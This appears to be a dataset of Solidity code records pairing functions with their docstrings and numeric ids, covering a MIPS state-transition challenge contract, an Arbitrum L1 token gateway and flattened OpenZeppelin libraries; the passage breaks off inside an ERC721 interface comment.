msg.sender, "must be owner"); require(isSearching(challengeId), "must be searching"); uint256 stepNumber = getStepNumber(challengeId); require(c.assertedState[stepNumber] != bytes32(0), "challenger state not proposed"); require(c.defendedState[stepNumber] == bytes32(0), "state already proposed"); // Technically, we don't have to save these states, but we have to if we want to let the // defender terminate the proof early (and not via a timeout) after the binary search completes. c.defendedState[stepNumber] = stateHash; // update binary search bounds if (c.assertedState[stepNumber] == c.defendedState[stepNumber]) { c.L = stepNumber; // agree } else { c.R = stepNumber; // disagree } } /// @notice Emitted when the challenger can provably be shown to be correct about his assertion. event ChallengerWins(uint256 challengeId); /// @notice Emitted when the challenger can provably be shown to be wrong about his assertion. event ChallengerLoses(uint256 challengeId); /// @notice Emitted when the challenger should lose if he does not generate a `ChallengerWins` /// event in a timely manner (TBD). This occurs in a specific scenario when we can't /// explicitly verify that the defender is right (cf. `denyStateTransition). event ChallengerLosesByDefault(uint256 challengeId); /// @notice Anybody can call this function to confirm that the single execution step that the /// challenger and defender disagree on does indeed yield the result asserted by the /// challenger, leading to him winning the challenge. /// Before calling this function, you need to add trie nodes so that the MIPS state can be /// read/written by the single step execution. Use `MIPSMemory.AddTrieNode` for this /// purpose. Use `callWithTrieNodes` to figure out which nodes you need. /// You will also need to supply any preimage that the step tries to access with /// `MIPSMemory.AddPreimage`. See `scripts/assert.js` for details on how this can be /// done. function confirmStateTransition(uint256 challengeId) external { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); require(!isSearching(challengeId), "binary search not finished"); bytes32 stepState = mips.Step(c.assertedState[c.L]); require(stepState == c.assertedState[c.R], "wrong asserted state for challenger"); // pay out bounty!! (bool sent, ) = c.challenger.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); emit ChallengerWins(challengeId); } /// @notice Anybody can call this function to confirm that the single execution step that the /// challenger and defender disagree on does indeed yield the result asserted by the /// defender, leading to the challenger losing the challenge. /// Before calling this function, you need to add trie nodes so that the MIPS state can be /// read/written by the single step execution. Use `MIPSMemory.AddTrieNode` for this /// purpose. Use `callWithTrieNodes` to figure out which nodes you need. /// You will also need to supply any preimage that the step tries to access with /// `MIPSMemory.AddPreimage`. See `scripts/assert.js` for details on how this can be /// done. function denyStateTransition(uint256 challengeId) external { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); require(!isSearching(challengeId), "binary search not finished"); // We run this before the next check so that if executing the final step somehow // causes a revert, then at least we do not emit `ChallengerLosesByDefault` when we know that // the challenger can't win (even if right) because of the revert. bytes32 stepState = mips.Step(c.defendedState[c.L]); // If the challenger always agrees with the defender during the search, we end up with: // c.L + 1 == c.R == stepCount (from `initiateChallenge`) // In this case, the defender didn't assert his state hash for c.R, which makes // `c.defendedState[c.R]` zero. This means we can't verify that the defender right about the // final execution step. // The solution is to emit `ChallengerLosesByDefault` to signify the challenger should lose // if he can't emit `ChallengerWins` in a timely manner. if (c.defendedState[c.R] == bytes32(0)) { emit ChallengerLosesByDefault(challengeId); return; } require(stepState == c.defendedState[c.R], "wrong asserted state for defender"); // consider the challenger mocked emit ChallengerLoses(challengeId); } /// @notice Allow sending money to the contract (without calldata). receive() external payable {} /// @notice Allows the owner to withdraw funds from the contract. function withdraw() external { require(msg.sender == owner); owner.transfer(address(this).balance); } }
Returns the last state hash proposed by the challenger during the binary search.
function getProposedState(uint256 challengeId) view public returns (bytes32) { ChallengeData storage c = challenges[challengeId]; require(c.challenger != address(0), "invalid challenge"); uint256 stepNumber = getStepNumber(challengeId); return c.assertedState[stepNumber]; }
12,895,546
// SPDX-License-Identifier: Apache-2.0 /* * Copyright 2020, Offchain Labs, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ pragma solidity ^0.6.11; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Create2.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "arb-bridge-eth/contracts/bridge/interfaces/IInbox.sol"; import "arb-bridge-eth/contracts/libraries/ProxyUtil.sol"; import "../L1ArbitrumMessenger.sol"; import "../../libraries/gateway/GatewayMessageHandler.sol"; import "../../libraries/gateway/TokenGateway.sol"; import "../../libraries/ITransferAndCall.sol"; /** * @title Common interface for gatways on L1 messaging to Arbitrum. */ abstract contract L1ArbitrumGateway is L1ArbitrumMessenger, TokenGateway { using SafeERC20 for IERC20; using Address for address; address public inbox; event DepositInitiated( address l1Token, address indexed _from, address indexed _to, uint256 indexed _sequenceNumber, uint256 _amount ); event WithdrawalFinalized( address l1Token, address indexed _from, address indexed _to, uint256 indexed _exitNum, uint256 _amount ); modifier onlyCounterpartGateway() override { address _inbox = inbox; // a message coming from the counterpart gateway was executed by the bridge address bridge = address(super.getBridge(_inbox)); require(msg.sender == bridge, "NOT_FROM_BRIDGE"); // and the outbox reports that the L2 address of the sender is the counterpart gateway address l2ToL1Sender = super.getL2ToL1Sender(_inbox); require(l2ToL1Sender == counterpartGateway, "ONLY_COUNTERPART_GATEWAY"); _; } function postUpgradeInit() external { // it is assumed the L1 Arbitrum Gateway contract is behind a Proxy controlled by a proxy admin // this function can only be called by the proxy admin contract address proxyAdmin = ProxyUtil.getProxyAdmin(); require(msg.sender == proxyAdmin, "NOT_FROM_ADMIN"); // this has no other logic since the current upgrade doesn't require this logic } function _initialize( address _l2Counterpart, address _router, address _inbox ) internal virtual { TokenGateway._initialize(_l2Counterpart, _router); // L1 gateway must have a router require(_router != address(0), "BAD_ROUTER"); require(_inbox != address(0), "BAD_INBOX"); inbox = _inbox; } /** * @notice Finalizes a withdrawal via Outbox message; callable only by L2Gateway.outboundTransfer * @param _token L1 address of token being withdrawn from * @param _from initiator of withdrawal * @param _to address the L2 withdrawal call set as the destination. * @param _amount Token amount being withdrawn * @param _data encoded exitNum (Sequentially increasing exit counter determined by the L2Gateway) and additinal hook data */ function finalizeInboundTransfer( address _token, address _from, address _to, uint256 _amount, bytes calldata _data ) public payable virtual override onlyCounterpartGateway { // this function is marked as virtual so superclasses can override it to add modifiers (uint256 exitNum, bytes memory callHookData) = GatewayMessageHandler.parseToL1GatewayMsg( _data ); if (callHookData.length != 0) { // callHookData should always be 0 since inboundEscrowAndCall is disabled callHookData = bytes(""); } // we ignore the returned data since the callHook feature is now disabled (_to, ) = getExternalCall(exitNum, _to, callHookData); inboundEscrowTransfer(_token, _to, _amount); emit WithdrawalFinalized(_token, _from, _to, exitNum, _amount); } function getExternalCall( uint256, /* _exitNum */ address _initialDestination, bytes memory _initialData ) public view virtual returns (address target, bytes memory data) { // this method is virtual so the destination of a call can be changed // using tradeable exits in a subclass (L1ArbitrumExtendedGateway) target = _initialDestination; data = _initialData; } function inboundEscrowTransfer( address _l1Token, address _dest, uint256 _amount ) internal virtual { // this method is virtual since different subclasses can handle escrow differently IERC20(_l1Token).safeTransfer(_dest, _amount); } function createOutboundTx( address _from, uint256, /* _tokenAmount */ uint256 _maxGas, uint256 _gasPriceBid, uint256 _maxSubmissionCost, bytes memory _outboundCalldata ) internal virtual returns (uint256) { // We make this function virtual since outboundTransfer logic is the same for many gateways // but sometimes (ie weth) you construct the outgoing message differently. // msg.value is sent, but 0 is set to the L2 call value // the eth sent is used to pay for the tx's gas return sendTxToL2( inbox, counterpartGateway, _from, msg.value, // we forward the L1 call value to the inbox 0, // l2 call value 0 by default L2GasParams({ _maxSubmissionCost: _maxSubmissionCost, _maxGas: _maxGas, _gasPriceBid: _gasPriceBid }), _outboundCalldata ); } /** * @notice Deposit ERC20 token from Ethereum into Arbitrum. If L2 side hasn't been deployed yet, includes name/symbol/decimals data for initial L2 deploy. Initiate by GatewayRouter. * @param _l1Token L1 address of ERC20 * @param _to account to be credited with the tokens in the L2 (can be the user's L2 account or a contract) * @param _amount Token Amount * @param _maxGas Max gas deducted from user's L2 balance to cover L2 execution * @param _gasPriceBid Gas price for L2 execution * @param _data encoded data from router and user * @return res abi encoded inbox sequence number */ // * @param maxSubmissionCost Max gas deducted from user's L2 balance to cover base submission fee function outboundTransfer( address _l1Token, address _to, uint256 _amount, uint256 _maxGas, uint256 _gasPriceBid, bytes calldata _data ) public payable virtual override returns (bytes memory res) { require(isRouter(msg.sender), "NOT_FROM_ROUTER"); // This function is set as public and virtual so that subclasses can override // it and add custom validation for callers (ie only whitelisted users) address _from; uint256 seqNum; bytes memory extraData; { uint256 _maxSubmissionCost; if (super.isRouter(msg.sender)) { // router encoded (_from, extraData) = GatewayMessageHandler.parseFromRouterToGateway(_data); } else { _from = msg.sender; extraData = _data; } // user encoded (_maxSubmissionCost, extraData) = abi.decode(extraData, (uint256, bytes)); // the inboundEscrowAndCall functionality has been disabled, so no data is allowed require(extraData.length == 0, "EXTRA_DATA_DISABLED"); require(_l1Token.isContract(), "L1_NOT_CONTRACT"); address l2Token = calculateL2TokenAddress(_l1Token); require(l2Token != address(0), "NO_L2_TOKEN_SET"); _amount = outboundEscrowTransfer(_l1Token, _from, _amount); // we override the res field to save on the stack res = getOutboundCalldata(_l1Token, _from, _to, _amount, extraData); seqNum = createOutboundTx( _from, _amount, _maxGas, _gasPriceBid, _maxSubmissionCost, res ); } emit DepositInitiated(_l1Token, _from, _to, seqNum, _amount); return abi.encode(seqNum); } function outboundEscrowTransfer( address _l1Token, address _from, uint256 _amount ) internal virtual returns (uint256 amountReceived) { // this method is virtual since different subclasses can handle escrow differently // user funds are escrowed on the gateway using this function uint256 prevBalance = IERC20(_l1Token).balanceOf(address(this)); IERC20(_l1Token).safeTransferFrom(_from, address(this), _amount); uint256 postBalance = IERC20(_l1Token).balanceOf(address(this)); return SafeMath.sub(postBalance, prevBalance); } function getOutboundCalldata( address _l1Token, address _from, address _to, uint256 _amount, bytes memory _data ) public view virtual override returns (bytes memory outboundCalldata) { // this function is public so users can query how much calldata will be sent to the L2 // before execution // it is virtual since different gateway subclasses can build this calldata differently // ( ie the standard ERC20 gateway queries for a tokens name/symbol/decimals ) bytes memory emptyBytes = ""; outboundCalldata = abi.encodeWithSelector( TokenGateway.finalizeInboundTransfer.selector, _l1Token, _from, _to, _amount, GatewayMessageHandler.encodeToL2GatewayMsg(emptyBytes, _data) ); return outboundCalldata; } }
this function is public so users can query how much calldata will be sent to the L2 before execution it is virtual since different gateway subclasses can build this calldata differently ( ie the standard ERC20 gateway queries for a tokens name/symbol/decimals )
function getOutboundCalldata( address _l1Token, address _from, address _to, uint256 _amount, bytes memory _data ) public view virtual override returns (bytes memory outboundCalldata) { bytes memory emptyBytes = ""; outboundCalldata = abi.encodeWithSelector( TokenGateway.finalizeInboundTransfer.selector, _l1Token, _from, _to, _amount, GatewayMessageHandler.encodeToL2GatewayMsg(emptyBytes, _data) ); return outboundCalldata; }
6,401,599
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/proxy/Initializable.sol // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/introspection/IERC165.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits 